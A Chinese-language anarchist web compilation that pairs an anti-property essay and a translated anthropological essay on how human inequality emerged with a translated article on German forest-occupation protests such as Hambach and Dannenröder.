信用会把权威献给那个赋予它的人，而不是只接收它的人。一位赢得信任的人不需要权威；如果某个人不值得信赖，他当然也不配拥有权威。然而，还有谁比政客和董事长更缺乏信用？

当有冲突的时候，如果没有强加的权力失衡，人与人之间就会有动机解决冲突以令双方都满意 —— 来获得对方的信赖。而等级制社会删除了这一激励，使那些拥有权威的人能够压迫下层所有人。

资本主义的基础是财产权，从领主和贵族时代继承下来的一种社会建构。虽然现代财产会比较快速地交换，但是概念还是一样的：所有权会合法化暴力，以执行资源和土地的人为失衡。

有些人相信财产可以不靠国家而持续存在；但是财产权如果没有中央集权来执行，就会失去意义—— 但是，只要中央集权存在，就没有真正属于你的东西。

你赚的钱是政府打印的，可以收税和通货膨胀；你的车子的契税是政府车局控制的；你的家不是真正属于你的，而是属于给你贷款的银行或者买下那块地的政府机构，即便你支付全款买了下来，政府也随时有权征用；就如你购买的手机电脑，并不真正属于你，而是属于制造它的巨头公司，就连维修权都要你去打官司。

保护对我们重要的东西会需要什么样的措施？政府只是凭借夺取我们的权利和实物的能力而存在，他们拿走的永远多于他们给予的。市场只会奖励你去掏空其他人，或者奖励其他人去掏空你。唯一真正的安全网是我们的社会关系：如果我们要确保自己的安全性，我们需要提供可供自我保护的安全网络。

在没有金钱和财产权的情况下，我们与物的关系会由我们彼此的关系

所决定。而今天，这恰恰相反：我们对彼此的关系是由我们对实物的关系来决定的。

你喜欢的是满足真正的需求，还是应付官僚主义？你喜欢互相依靠的关系、还是互相利用？

最理想的友谊是平等的，彼此支持和挑战，同时尊重对方的自主，这可以说是一个对于我们所有的关系最好的标准。

如果没有这些强加在我们身上的限制 —— 公民身份和狭窄的生存边界、财产和债务、企业和军事指挥链 —— 我们可以在自由结社和互助关系的基础上重建我们的关系。

我们的敌人从来不是人类，而是疏远我们彼此和自己的系统。我们各自内心的冲突比我们互相之间的矛盾要多得多。那些在我们的社会中存在的争执也存在于我们的友情和内心之中；这不是一个人类之间的斗争，而是一个生活思想和文化的斗争，当我们拒绝主导秩序为我们制定的角色时，我们就在创造让其他人和我们并肩的机会。

推动变革的动员和倡导不是流行歌曲；仅仅依靠教育和讨论、等待别人的观点改变是远远不够的。

若思想背后没有行动，没有能让人们看到真正的选择，一切谈论都是虚幻的。

大部分人不会对理论探讨有任何兴趣；但是，当有事故和运动真正发生时，当风险逼近时，人们就会开始主动分辨两方的差异，他们会做出选择，他们会下定决心。

我们不需要取得一致，不需要对全世界拥有完全的了解，也不需要在一张地图上画出所有详细的终点站 —— 我们只需要踏上不同的路的勇气。

我们大多数人都生活在极度不平等的社会世界中，极少数的精英们比其他人拥有更多的权力和财富。很少有一无所有的人能觉得这很好。正如实验经济学家所表明的，我们倾向于进入社会环境，准备在集体活动中冒险和合作。但是，如果其他人拿走的东西超过了他们的份额，我们就会对被人玩弄于股掌之间感到不满。我们生活在不平等的世界里，很少有人不知道或无动于衷这一事实。

由于精英们人数众多，不平等的蛋糕划分的起源和稳定性令人费解，特别是一旦我们意识到这是人类社会存在的一个非常新的状况时。

人类物种已经存在了大约30万年，而且据我们所知，在其中的大约29万年里，人类都过着物质上比较贫穷但更平等的生活。在我们作为一个物种生活的大部分时间里，大多数社区都是作为流动的觅食者生活的，当当地资源变得稀缺时，他们会转移营地，但可能坚持在一个确定的领土上保持一个固定的模式。

流动的觅食者生活在小群组中（几十人，而不是几百人），但与邻群有亲属关系，生活在几百到几千人的社会世界里。在许多方面，这些觅食者文化是多样的。他们有不同的文化传统，面临不同的环境。澳大利亚西部沙漠和北极高纬度地区几乎没有什么不同，而且都与刚果盆地的雨林有很大的区别。即便如此，在关键的方面，他们的社会生活还是非常相似的。他们有时有长者或发起人，但没有统领者。没有任何人可以对其他成年男性有指挥权。男女之间的关系各不相同，但在许多觅食者文化中，妇女是觅食经济中不可缺少的、熟练的、自主的和必不可少的支柱。她们采集植物性食物和捕猎小型猎物，并制造许多日常生活的设备。她们通常有大量的社会选择和性选择。

与自给自足的农民相比，觅食者对他们的孩子很纵容，孩子们在混合年龄组中进行自我教育，通过探索和试验来学习。虽然美国文化人类学家马歇尔·萨林斯在他的《原始富裕社会》（1972）一书中被认为夸大了觅食者生活的轻松，但他是对的，觅食者有效地满足了自己的生存需求，而且往往相当迅速，部分是通过深刻的分享承诺。这些社区并不只是碰巧相当平等，而是积极寻求平等。加拿大考古学家布莱恩·海登（Brian Hayden）一直坚持认为，每个社区都有积极进取、雄心勃勃的人，他们想成为领导者。觅食者可以把这些积极者控制在一个狭窄的范围内。

不知何故，在没有人有权力告诉我们该做什么的情况下经过了29万年的生活，而且社区的每个成员都和其他人拥有同样多的东西；而我们大多数人现在都受制于命令，而且拥有的东西比少数受宠者少得多。为什么呢？

当然，在我们生活的国家社会中，许多人接受他们自己对精英的从属地位并不神秘。虽然精英们人数众多，但他们控制着军队、警察和国家机器。夺取精英财富的企图会遭到压倒性的强制力，即使是成功的革命也有一个令人沮丧的记录，那就是用另一个精英取代上一个精英，通常是以牺牲许多人的生命为代价的，大多数是穷人。因此，对于那些精英世界之外的人来说，他们最坏的选择是接受自己的从属地位，也许会有个人或集体的改善尝试，这取决于政治环境的具体情况。

- 如果您错过了《没有”革命的政府”这种东西：为什么你不能用国家废除阶级》

没有任何社会世界能一下子从一个平等主义的社区变成一个精英主导的国家结构的社会。这是一个逐步走向不平等的过程。通往不平等的途径是通过反平等积累出来的，但仍然是小规模和无国家的社区，在这些社区中，初生的精英与他们的邻居生活在一起，并在没有强制性的国家机构的控制下生活。因此，他们是脆弱的，正如克里斯托弗·博姆在《森林中的等级制度》（1999年）中指出的，以及斯蒂芬·平克在《我们天性中更好的天使》（2011年）中也曾指出，前国家社区的居民并不羞于明智地应用暴力。那么，如果没有法律的外衣和有组织的国家权力的保护，不平等是如何建立和发展的呢？

一旦有军事力量支持的世袭领导权建立起来，从属关系和不平等就可以用在获得武力方面根深蒂固的差异来解释。因此，关键的问题是要解释乡村社会的不平等，因为它还没有制度化权力的保护。这些“跨平等主义社区”由“大人物 Big Men”（在新几内亚和美拉尼西亚被称为“大人物”）主宰，也就是拥有财富和地位的个人。但他们的统治并不是一种权利，他们的儿子也不会自动继承他们的地位。而正是在这样的社区里，不平等才得以确立。一旦这些文化存在，我们就从平等的社会世界转变为不平等是一种常规的、被接受的生活事实的世界——以至于它往往看起来很自然。

在流动的觅食者文化中，有两个发展趋向于为不平等的建立奠定基础。这种不平等的支架之一是宗族结构的出现。氏族有很强的团体认同，围绕着真实或神话中的家谱关系，通过苛刻的入会仪式和激烈的集体活动得到加强。他们成为个人社会身份的核心。个人主要通过他们的氏族身份来看待自己，也被他人所看待。正如人类学家雷蒙德·凯利（Raymond C Kelly）在《无战事社会和战争的起源》（2000年）中写道，他们主要在自己的氏族中期待并获得社会支持。一旦仓储和农业出现，初具规模的精英们就利用宗族成员身份来动员社会和物质支持。

第二个发展是出现了一个基于信息控制的准精英阶层，这创造了一个声望和尊敬的等级制度，而不是财富和权力。这最初是以生存技能为基础的。觅食者的生活依赖于在导航、追踪、植物识别、动物行为和工匠技能方面非常高水平的专业知识。

正如进化生物学家约瑟夫·亨里奇在《我们成功的秘密》（2015年）中所说，真正的专家会吸引人们的敬畏和尊重，以换取慷慨地分享他们的知识。正如社会人类学家杰罗姆·刘易斯（Jerome Lewis）所表明

的那样，这种信息经济可以包括故事和音乐，其仪式和规范生活也可以是如此。事实上，如果仪式叙事被用作编码重要但很少使用的空间和导航信息的工具，那么可能存在仪式与生存信息的融合。在澳大利亚原住民的歌谣中，有一些关于这种融合的暗示，这个想法从澳大利亚扩展开来，并由口述文学学者 Lynne Kelly 在《史前社会的知识与权力》（2015）中详细地进行了辩护。因此，不仅在生存技能方面，而且在宗教和仪式方面，都可能存在专业知识和敬畏。

> 农业和储存使不平等成为可能，甚至也许因为它们往往会破坏共享规范。

虽然以尊重换取专业知识的原始交换对双方来说可能都是适应性的，但斜向的社会传播（从N代中受宠的少数人到N＋1的所有人）将操纵提上了 日程。当社会信息仅仅从父母流向子女时，适应不良的指令有一种自动消退的趋势。但是，一个社区的规范、仪式和意识形态的集中传播，很容易使一个群体受益而牺牲其他群体。

探险家E·卢卡斯·布里奇斯（E Lucas Bridges）在他的经典作品《地球的最深处》（Uttermost Part of the Earth，1948年）中，饶有兴致地详细介绍了完全玩世不恭的亚干族人（南美洲南锥体的原住民）如何通过装扮成鬼魂来吓唬妇女和青少年。他毫不怀疑，任何女性怀疑论的迹象都会被谋杀处理。我们可能也会在澳大利亚的一些享有老年特权的觅食者社区看到这种情况。查尔斯·哈特和阿诺德·皮林的《北澳大利亚的蒂维人》（1960年）因其对这种老年统治的描述而闻名，老年男子的权力在于他们对神秘知识的控制。这也使得在向不平等过渡的社区中初生的牧师和精英之间的联盟成为可能。

因此，在仍然相当平等的觅食者世界中形成了两个不平等的支架。随着社区放弃运动而选择定居生活 —— 储存和耕作—— 大约在1万年前开始，这些不平等支架变得强大起来。一些觅食者发展了围绕储存的生活方式（有时被称为“采集者”而不是“觅食者”）。西北太平洋地区的猎人和渔民围绕着鲑鱼流和海洋资源建立了经济。在冰川时期的欧洲，定居的觅食者有可能拦截迁移的畜群，并围绕储存或熏制的野味建立他们的经济。但是，放弃移动的生活，转而依赖储存的食物，主要是与农耕的起源和全新世的新气候状况有关，大约在**12000**年前开始。

耕作的可行性不仅取决于能否获得少数可以塑造成作物和羊群的野生物种，还取决于可预测的天气模式。全新世不仅仅是比之前的更新世冰川期更温暖和潮湿，它也更稳定。谷物农业从未在澳大利亚原住民中发展起来，部分原因是澳大利亚许多地方的气候每年都有明显的变

化。如果没有工业化的储存和运输，对农作物的依赖将是自杀性的。

无论这一革命性变化的原因是什么，其后果都无疑是巨大的。耕作和储存使不平等成为可能，也许甚至是因为，它们往往会破坏分享的规范，建立产权和劳动力的胁迫，放大社区间的暴力，并导致社会规模的扩大。

首先，让我们考虑储存、分享和财产。对于流民觅食者来说，分享是一种保险。特别是，狩猎是非常危险的，需要运气和技巧，因此，如果你今天成功了，就可以适应性地分享，条件是当你失败时，其他人就会与你分享。以植物和小动物为目标更有把握，尽管在一些觅食者社区，甚至这些都是共享的，因为慷慨的社会回报很重要，而拒绝的社会成本很高，因为觅食者营地的亲密性使得成功难以掩盖。

然而，储存往往会侵蚀分享。储存，就像分享一样，是管理风险的一种方式，农民更有可能储存而不是分享。社区内供应的变化可能来自承诺和努力的变化，而不是运气的差异。当地的坏运气—— 不利的天气、虫灾—— 可能会影响到社区的每个人，这使得分享成为一种糟糕的保险形式。如果我的好年景是你的坏年景，那么与你分享是对我有利的，反之亦然（当然，只要你能回报我）。如果我们同时遇到困难就不是这样了，因为我们没有多余的东西可以分享；如果我们都有好年景也不是这样了，因为那样我们就不需要彼此了。

作物耕作也是艰巨而耗时的。每工作一小时的回报很低，没有人认为自给自足的农民会成为富裕的社会。土地必须被清理、除草、保护、改良，有时还要浇水。这些努力必须维持数年，而不仅仅是几个月。如果没有像产权这样的东西，人们要致力于这些努力，那简直是个悲剧。同样，除非这些权利包括转让权，否则孩子们留在父母身边耕种土地也是不合适的。

因此，储存，特别是基于作物的储存，将倾向于产生一个独立的家庭经济社区。在继承方面，这本身就会产生财富不平等，即便只是因为家庭规模的变化就会迫使一些家庭比其他家庭更精细地分配他们的蛋糕。财富不平等一旦形成，往往只会加剧。如果一个儿子只继承了他父母土地的四分之一，他的孩子很可能拥有更少的土地，而且生活在刚刚够用的边缘，他们更容易受到小的坏运气的影响，以及积累他们永远无法偿还的债务和义务。

储存为胁迫劳动打开了大门。定居的采集者有时会保留奴隶，但流动的觅食者不会这样做。觅食，即使不是大型猎物的狩猎，也取决于高水平的自主性和技能。觅食者独自或三四人一组，在离营地半天的路

程中度过他们的时间。自主的、小规模的搜寻对有效利用领地至关重要。因此，强制监督流动觅食的经济挑战是无法克服的，因为你需要像奴隶一样多的卫兵。农场的劳动力在空间上是集中的，而且通常没有那么多的技能。它可以被监督和控制。此外，这样做是很有诱惑力的，因为许多农场工作在本质上没有吸引力：与射箭不同，锄地永远不会成为一项奥林匹克运动。在许多自给自足的农业社区，当没有奴隶的时候，许多工作就由妇女和儿童来承担。储存，尤其是基于农作物的储存，往往会导致自给自足的经济，其自主性更低，胁迫性更强。

储存也使社区间的暴力更有可能发生。学者们对移动觅食者中社区间暴力的程度有巨大的争议。有一种观点认为，族群间暴力的威胁是更新世中后期移动觅食者世界的首要特征；见经济学家塞缪尔·鲍尔斯(Samuel Bowles)和赫伯特·金蒂斯 (Herbert Gintis)的书《合作的物种》（2011）。我非常怀疑。直到更新世很晚的时候都没有这种暴力的考古学证据。此外，觅食者营地是困难和无回报的目标。外人很少知道他们的确切位置，因为如果暴力是一种威胁，部落之间就很少或根本没有友好的互动，所以相邻的群体不会对彼此的领土有太多了解。觅食者的物质财产很少，默认为有武器，并且擅长追踪和理解他们的领地，这使得他们在营地里很难被人惊动。最后，觅食者强调决策中的自治和共识，这很难成为军事化世界的意识形态标志。

然而，毫无疑问，社区间的暴力往往是对采集者和自耕农的主要威胁。邻居的存储是一个诱人的目标，他们的羊群、改良的土地、以及作为奴隶和侧室的人本身也是如此。但它们不仅仅是诱人的目标——还是潜在的威胁，因为你的财产对邻里社区同样是一种诱惑。

定居者也可以积累值得偷窃的物品，这是觅食者永远无法做到的。不寻常的物质财产开始成为财富和影响力的标志。陶器、黑曜石和金属开始成为这些早期定居社区的声望物品。这种社区间暴力的永久威胁为初期的精英提供了一个机会，使他们能够代表社区进行和平谈判、以物易物和建立联盟，只要这种领导作用得到整个社区的支持。

此外，耕作往往会促成人口增长。生育间隔缩小，因为母亲不再需要在营地之间携带幼儿，而耕作提供了可靠的断奶食物来源。作物种植是艰苦的，但它在食物网中的介入程度较低，因此可以确保当地生物生产力的更大比例供人类使用。如果通过除草、施肥或灌溉来提高产量，这一点尤其正确。农人的食物供应并不像觅食者的食物那样平衡和健康，但肯定会有更多的食物。社区规模的扩大很重要，因为许多在觅食者社区中实现控制的社会机制是依赖于规模的。他们依赖于亲密关系和信任。

最后，储存往往会导致过剩，因为对每个家庭（或经济单位）来说，储存超过他们预期需要的东西都会是谨慎的。为突发事件留出余地是明智的，但是，当一个家庭的储存量确实超过了他们的生存需求时，这些盈余就可以作为地方政治的工具。通过把它借给那些库存不足的人，它可以创造义务；一个可以被用来提出要求的好处。另外，盈余还可以通过将其转化为高地位的商品或服务来建立威望。庄稼可以转化为啤酒、猪或展示品（通过用于支持非生存活动）。对地位、影响和权力的竞争是由盈余来推动的。然而，没有储存就没有剩余，而没有耕作就只有有限的剩余。

储存和耕作的这些下游效应设立了一个不平等的引擎，跨平均主义社会的出现是冲突环境中储存的动态结果。对产权和继承的承认使财富的不平等得以建立，甚至增长。这些可以提供用于内部政治的盈余，雄心勃勃、有说服力的个人可以通过催债和动员其部族的支持来增加自己的储存。这些积累的财富可以用于提高声望的展示，如宴会或其他昂贵的仪式，有时还可以通过赞助建造仪式建筑。这些展示部分是为了给他们自己的社区留下深刻印象，但同时也是非常重要的，他们的目标是作为对立面的其他社区，即 那些同样兼具野心和财富的人。

在区域环境中，社区间的暴力是一种威胁，但不是不可避免的，财富和社区组织的展示向其他社区传递了一个信息，即 你会是一个危险的敌人，但在贸易和针对第三方的掠夺性联盟中是一个宝贵的伙伴。这给了大多数社区成员一些自利的理由来支持这些雄心勃勃的展示。

这种展示的成功赞助者获得了主要的利益，在其他社区的眼中建立了自己的地位，成为与其他社区进行社会和物质交流的渠道。这是一个高风险的策略，尤其是在向跨平等主义世界转变的早期。但是，如果初期的“大人物”成功了，最初的财富差距就会被转化为威望和政治影响力，这反过来又会通过作为修复者和促进者的关键角色建立起更多的财富，循环往复，反复进行。保利娜·维斯纳 (Polly Wiessner) 的“The Vines of Complexity”（2002）是一个来自巴布亚新几内亚的精彩案例研究，说明了这种动态的作用，以及这种动态如何升级。在这一争取声望的过程的早期，也是在社区之间进行调解的关键因素，一个雄心勃勃的潜在推动者可能会在一次宴会上积累并送出10头猪。几代之后，积累和赠送250头猪既是可能的，也是必要的（为了达到同样的政治效果）。

因此，对权力的竞标是通过将财富转化为政治影响力，从而获得更多的财富。这些竞标更有可能成功，因为在觅食者世界中强制执行（近似）平等的平均化联盟已经衰落，因为限制野心的集体行动变得越来越困难。规模的变化很重要：觅食者生活在小的（在西方人看来）令

人吃惊的亲密的社会世界中（例如，他们的庇护所通常很小，密密麻麻，没有墙）。农民的社会世界更大、更不亲密，这使得集体共识的形成更加困难。此外，精英圈外的人的利益也只是部分地一致。在跨平等主义的世界里，财富差异还不是很极端，处于中间的人在承认产权方面有利益关系，有些人是当地大人物的盟友或支持者，期望通过自己的支持得到一些回报。虽然他们可能希望野心被控制在一定范围内，但他们的利益并没有被平等化所满足，而且社区内的冲突增加了外部掠夺性干预的风险，这种风险对除最贫困者之外的所有人都很重要。最后，觅食者社区的平等主义精神—— 一种激励和动员限制野心的精神—— 在一个基于储存而不是共享的经济中受到侵蚀。

这种侵蚀很可能被仪式领袖和初生的精英之间的联盟大大加速，海登在《史前仪式的力量》（2018）中记录了这种联盟，因为这些社区的规范性生活是通过其社区仪式生活来阐述和教导的。我们倾向于看到（例如）婚姻规范的转变，使未来的丈夫必须以牲畜或其他声望资源的方式支付彩礼，这并不是巧合。对于较穷的男人来说，婚姻将使他们对较富裕的主办者承担债务义务。倾向于精英的仪式信仰可能更有戏剧性。人类学考古学家肯特·弗兰纳里和乔伊斯·马库斯在他们关于美拉尼西亚的跨平等主义社区的工作中，列举了一个来自所罗门群岛的生动例子：一个民意领袖在当地建立了自己的声誉，部分原因是赞助建造了一座仪式房屋（本身就是财富的象征和威望的来源），但也是因为他被认为与一个喝猪血的恶魔结盟并受到其保护。有祭司站在一边是有帮助的。

如果这幅通往不平等的图景是正确的，它将导致四个预期。首先，不平等取决于储存经济的事先建立和社会规模的扩大。第二，跨平等主义的社区出现在以氏族为基础的觅食者社区中。第三，跨平等主义的社区从觅食者社区中出现，那里的规范和仪式生活掌握在一小群发起人手中。最后，这种社区出现在社区间暴力程度中等的区域环境中，在这种环境中，暴力是一种风险，但也是可以管理的。

一句话：平等的、合作的人类社区是可能的。广泛的分享和协商一致的决策并不违背“人性”（不管你认为人性是什么）。事实上，在人类历史的大部分时间里，我们都生活在这样的社会里。但这样的社会并不具有内在的稳定性。这些社会实践有赖于积极的防御。考虑到现有的社会技术，随着社会规模和经济复杂性的增加，这种积极的防御也失败了。

我们不可能回到更新世的平等，很多人也不会接受那种生活的社会亲密性和物质简单性。但我们确实有新的社会技术。而值得警惕的是，包括中国在内的很多国家正在展示这些新的社会技术如何被用来加强

精英的监控。让我们希望它们能够被重新配置，以支持更多自下而上的社会行动，以减轻财富和权力不平衡的一些影响。〇

How equality slipped away

原文

德国的森林占领运动：学习抵抗的战术、战略和文化 - iyouport

反抗者-寻求经验长读

对直接行动的支持度在全球范围内快速上升，正在改变反抗运动的整体语话

我们接触过的一些中国的环保活动家拥有顽强的斗志，其精神令人钦佩。环保维权是当下全球最重要的也是最危险的反抗，在一些国家，比如印度，当权者用“颠覆”的罪名惩治环保活动家，您可以在这里看到《共谋侵犯人权，以保留进入中国以外最大的数字媒体用户市场的交易》。

正如中国的环保活动家准确地指出的那样：是暴利推动了暴力，当权者为了维护他们自己的暴利，将必然对环保活动家采取最严苛的打压。这一暴利是全球性的，正因为环保维权打击的是全球资本主义的命脉，您可以在这本书中看到详细论述《外表是骗人的》。

但危险的事实从来没有阻碍全世界的环保活动家的勇气和战斗力，尤其是战略智慧，不同国家的反抗运动彼此借鉴和分享，包括跨国联合。本文的记录来自德国的反抗者，它有德语、西班牙语、意大利语和英语多个版本，希望这份中文版能够给中国的行动者带来灵感。

前面部分介绍战术和文化，后面部分总结战略智慧。

褐煤开采、高速公路、砾石开采、停车场、石灰坑和糖果厂都有一些共同点，乍一看可能不明显，那就是，资本家需要砍伐大量的森林来为建设这些设施让路。但在德国各地，人们都在动员起来，阻止资本家的砍伐。在过去的十年里，森林占领和森林保护行动一直在激增，以至于我们现在可以对整个运动进行分析和思考。共同对抗巨型机械：这张2014年的照片拍摄于“Ende Gelände”大规模行动开始前一年，可以看到一小群抗议者正在准备阻止一个煤矿的大型挖掘机。

德国各地

「图」

> 即使面对看似不可能的困难，小团体的抗议者也可以试验一些战术，这些战术此后就会成为大规模行动和胜利的基础。

自2021年2月26日以来，人们一直在占领拉文斯堡附近一个名为 Altdorfer Wald 的森林。一个采砾场正在威胁着这片森林的生存，一些早先在拉文斯堡内城建立气候反抗营地和树屋的活动家们决定住到这个森林里以保护它。

在拉文斯堡附近的占领日，一直到德国的另一端，警察开始驱逐一个被占领的城市内部森林。2020年10月，在弗伦斯堡，人们已经开始建造树屋和平台来拯救树木—— 这些树木被计划砍伐，以便为一个酒店和停车场铺路。

在法定砍伐季节结束前几天，投资者派出冷血的雇佣兵，带着电锯，不顾活动家们的危险，袭击树木。在弗伦斯堡，就是德国COVID-19突变热点之一的地区，该城市政权甚至对投资者的暴力行为进行了奖励，并且命令更多的警察去攻击和驱逐占领森林的活动家。

说到冠状病毒疫情，黑森州的绿党甚至在中产阶级中也失去了支持，因为他们不仅为新的高速公路A-49争辩，并因此在 Dannenröder 森林、Herrenwald 和 Maulbacher Wald 进行了大量砍伐，而且还在2020年11月发起了持续数周的驱逐行动，尽管该地区也是COVID-19的热点地区。

这些森林的占领行动在2019年就开始了；一些抗议者仍然留在附近，因为高速公路还没有修建，尽管那些树木已经被砍伐。其中最壮观的一次行动是用绳子横穿300米长，连接丹尼和赫里。

可能出乎许多参与者的意料，另一次占领也获得了成功。2月21日，在哈雷（威斯特法伦）附近，示威者占领了施泰因豪森（Steinhausener）森林，糖果厂Storck打算在那里扩建。不到一周后，当占领者等待被驱逐时，该公司决定改变计划。至少就目前而言，这个森林是安全的。

在伍珀塔尔的Osterholz，有五公顷的森林因为一个石灰坑而受到威胁。Kalkwerke Oetelshofen 公司旨在将他们挖掘的土储存在有树木的地方。自2019年8月以来，抗议者们一直占据着该地区。

就像在其他地方发生的一样，从被破坏的森林中获利的资本家们试图将他们的宣传定格为“客观讨论”，他们抱怨所谓的“诽谤”，并强调他们的业务具有体制的重要性。而事实上，任何资本主义企业都具有体制重要性 —— 但由于体制本身就是问题的根源，对于那些想要改变体制的人来说，这种说法并不具任何说服力。

在汉堡的威廉斯堡，在一个叫做 WiWa（Wilder Wald，野生森林）的森林里，人们建造了树屋，因为城市宣布该地区为潜在的“发展区域”。森林里的活动家们在树上搭建了平台—— 当然，这绝不是政客们所欣赏的那种开发方式。

此外，抗议者们在莱茵兰两个受到褐煤开采威胁的村庄维持着对森林的占领。对凯瑟斯贝格的占领可以追溯到2020年9月，而卢策拉特的占领则在2021年1月16日刚刚开始。那里的抵抗与那些试图通过占领煤炭公司RWE想要摧毁的房屋或通过蹲守建筑设备来拯救村庄的人们密切相关。

最后，最著名的森林防卫占领在汉巴赫森林，现在仍然被抗议者占领着。第一次蹲守是在2012年，当时的抗议者已经被驱逐并在此后重新占领了多次。2020年1月，政客们决定，汉比不应该被完全摧毁 —— 这是在大部分地方已经被摧毁之后，但抗议者的占领仍然存在。最近，一些来自汉巴赫的抗议者出版了双语杂志《Shitbarricade》第5期。汉巴赫森林

而对于那些喜欢国际旅行的人来说，在波兰、瑞士和法国也都有反抗事业，在瑞典和比利时也有与德国的反抗运动联网的行动。但仔细研究这些将超出本文的主题范围。

传播种子，生根发芽

「图」

森林占领运动似乎正在向整个德国蔓延。在为企业褐煤开采而被摧毁的汉巴赫森林，在2018年驱逐前的占领高峰期，森林保卫者建造了70多座树屋。以家庭为单位，反抗者成群结队来到森林，一起建造路障。

在丹嫩罗德森林，开发商在那里开辟了一条高速公路通道，抗议者在2019年和2020年之间建造了500多座路障、树屋和其他建筑。丹嫩罗德的驱逐行动历时两个多月，每天有多达**2000**名警察参与，警察在寒冷的冬天向抗议者发射水炮攻击，并对活动人士提出了**2000**多项指

控。

这其中的原因是什么呢？15年前，很少有人通过爬树来拯救森林，提高对机场扩建或褐煤开采的认识，并反对资本主义的破坏性。而今天，无数抗议者在汉巴赫森林、丹嫩罗德森林，甚至在一些微小的城市森林里参与斗争。汉巴赫森林

以下文字改编自《*Klimakämpf-Wir sind die fucking Zukunft*》一书。

2003年，我认识了 Lakoma，一个靠近科特布斯的索布族小村庄。居民已经在民主德国时代[东德]被重新安置，但房屋的拆除因两德统一而被推迟，艺术家们决定恢复这个地方。

一个文化圈已经建成，还有一个 “Wagenplatz”[被占用的拖车公园]。有些房子也被占用了。我在一辆马车上过夜，参与了保护树木的占领运动。我经常在村庄的残余部分散步，经过反抗标志的木制雕塑、被拆毁的房屋和被拆毁一半的浴室，我开始意识到，为了开采资源而无情地驱赶少数民族的行为不仅发生在遥远的地方，而且就发生在我眼前。

多年后，我了解到，在民主德国，甚至有一首关于煤炭的儿童歌曲，即《烤炉歌》（Ofenlied）：“早上好，亲爱的炉子，我们冻得很厉害。因此，燃烧吧亲爱的炉子，这样我们就不会再受冻了。我没有煤，我自己很冷。向挖掘机要煤，在森林后面的山谷里。早上好，亲爱的挖掘者，给我们煤，因为我们很冷，炉子也很冷。我没有煤，我的水桶是空的，向大地要煤，在矿井里，又黑又重。早上好，亲爱的大地，给我们煤，因为我们正在受冻，水桶是空的。大地说，只要抓住它，把挖掘机开来。把炉子里的火烧起来，然后你就不会再受冻了。”

但是，煤炭在西德的文化上也是根深蒂固的。多特蒙德体育场的球迷和男童合唱团今天仍在唱着Steigerlied（煤矿工人之歌），许多家庭自豪地讲述他们的亲属在硬煤或褐煤开采中的劳动甚至死亡。淘汰煤炭不仅是一个技术问题和气候政策的需要；它还需要一个文化上的反思 …… 抵制高速公路A49的战略运动

为什么需要森林防卫运动？为什么是现在？

为什么在德国有这么多人参与森林保护？

这不是关于气候变化的科学知识。

罗马俱乐部在1972年发表了《增长的极限》。从那时起，科学家们就不断地重新呼吁进行紧急变革。

这不是政治的失败。

今天参与其中的一些人报告说，他们加入斗争是因为政治的失败。当然，实现改革的政治努力已经失败，这是一个很好的理由来寻找更有效和更充实的战略。但是，政客们总是不能兑现他们的承诺，这并不新鲜。今天，政治的失败是否比过去更明显？

恰恰相反，语话已经改变，这使其失败变得很明显。

谁改变了语话？

毫无疑问，这种语话的改变是一种积极的发展—— 与许多其他的改变相比，如传播右翼信仰和反犹主义倾向。这不仅是对气候或环境问题认识的提高，也是解放思想的传播，例如认为采用直接行动改变社会是更有效的和合法的。

如果您错过了《直接行动分布指南》

谁改变了这种语话？是出现在电视谈话节目中的活动家？是对通往煤矿的电缆的纵火攻击？还是“为了未来的星期五”？还是煤矿中 Ende Gelände 的大规模抗议活动？还是破坏通往煤电站的铁轨的行动主义？是非政府组织？还是地方倡议？早期的活动家，他们相信直接行动能克服看似不可逾越的困难吗？

让我们仔细看看。一个支持弗伦斯堡占领的地方倡议（BI Bahnhofsviertel）。

地方倡议

「图」

来自那些直接受到他们所抗议的事物影响的地方倡议是大型运动成功的关键因素。活动家团体和专注于全国性工作的非政府组织都无法提供当地的专业知识和数年或数十年的持续工作。

BIs（“Bürgerinitiativen”—— 公民倡议）是将抵抗扎根于地区的不可或缺的手段。在大众兴趣不大的阶段，这些人往往是多年来唯一致力于解决问题的人。当问题出现时，大型非政府组织往往依靠他们的知识 —— 不幸的是，往往没有充分重视他们的工作—— 但这些倡议往

往被遗忘，因为在发生很多事的阶段，他们不一定会成为焦点。

例如，Buirers for Buir 组织定期举办 “红线” 行动，在汉巴赫露天矿和受威胁的森林之间用红色横幅、旗帜和T恤衫形成象征性的红线。人们放映电影，举办教育活动，参加集会和游行，并参加反对拆毁更多村庄进行煤炭开采的行动主义联盟。这可能看起来微不足道，但重要的是 —— 特别是在这个快速发展的时代—— 一些人不断围绕这些问题进行坚持不懈的动员。

“为了未来的星期五”

「图」

2018年12月，在格蕾塔·通贝里在斯德哥尔摩开始罢工运动的三个半月后，提到她的第一个行动发生在德国。仅仅两个月后，德国各地150多个城市的地区团体在周五组织了校园罢工。2019年3月15日，约有30万人参加了全国200多个城市的反抗行动；到2019年夏天，这一数字进一步扩大，在500多个城市开展了行动。

如此多的学生以如此大的决心和毅力组织起来，这是非常了不起的。值得称赞的是，他们将有关气候政策的辩论明确列入了社会议程。安吉拉·默克尔用一种透明的狡猾战略来回应，假装拥抱抗议活动。她说：“这是一个非常好的倡议”，她声称她 “非常支持学生走上街头，为气候保护而战”，而且抗议活动 “肯定促使联邦政府加速”。“为了未来的星期五”

“为了未来的星期五” 的抗议活动是异质性的。在一些地方，参与者对汉巴赫森林的占领表示声援，并对基于需求的政治进行批判性定位，而在其他地方，他们让市长在他们的示威活动中发言，或与政治家在圆桌会议上坐下来。简单说，这是一个革命者和改良派混合的行动。

Jakob Blasel 是 “为了未来的星期五” 德国分部的发言人之一，他描述了他如何去德国经济和能源部长 Peter Altmaier 的办公室。他知道 Altmaier 向示威者发出了邀请，让他们到能源部的大院里来，以便将整个事件作为一个公关事件来利用。因此，抗议者们没有让 **Altmaier** 有机会与罢工者交谈，而是宣布学生们想向 **Altmaier** 解释他们为之奋斗的目标。

“为了未来的星期五” 的发言人与 Altmaier 在他的办公室进行了大约半小时的谈话，然后部长的秘书处表示，希望 **Altmaier** 一定会被允许在示威中讲话。罢工者们说这不行。但 **Altmaier** 还是出现了，他

受到了嘘声，他的声音被抗议者的嘘声淹没了，并被打发走了，抗议者告诉他回去部里去做他的工作。然而，在他办公室的谈话照片依旧出现在了许多媒体报道中。尽管反抗组织发言人 Blasel 强调 Altmaier 显然“没有得到消息”，但他还是对自己与部长的谈话表现出某种自豪感。

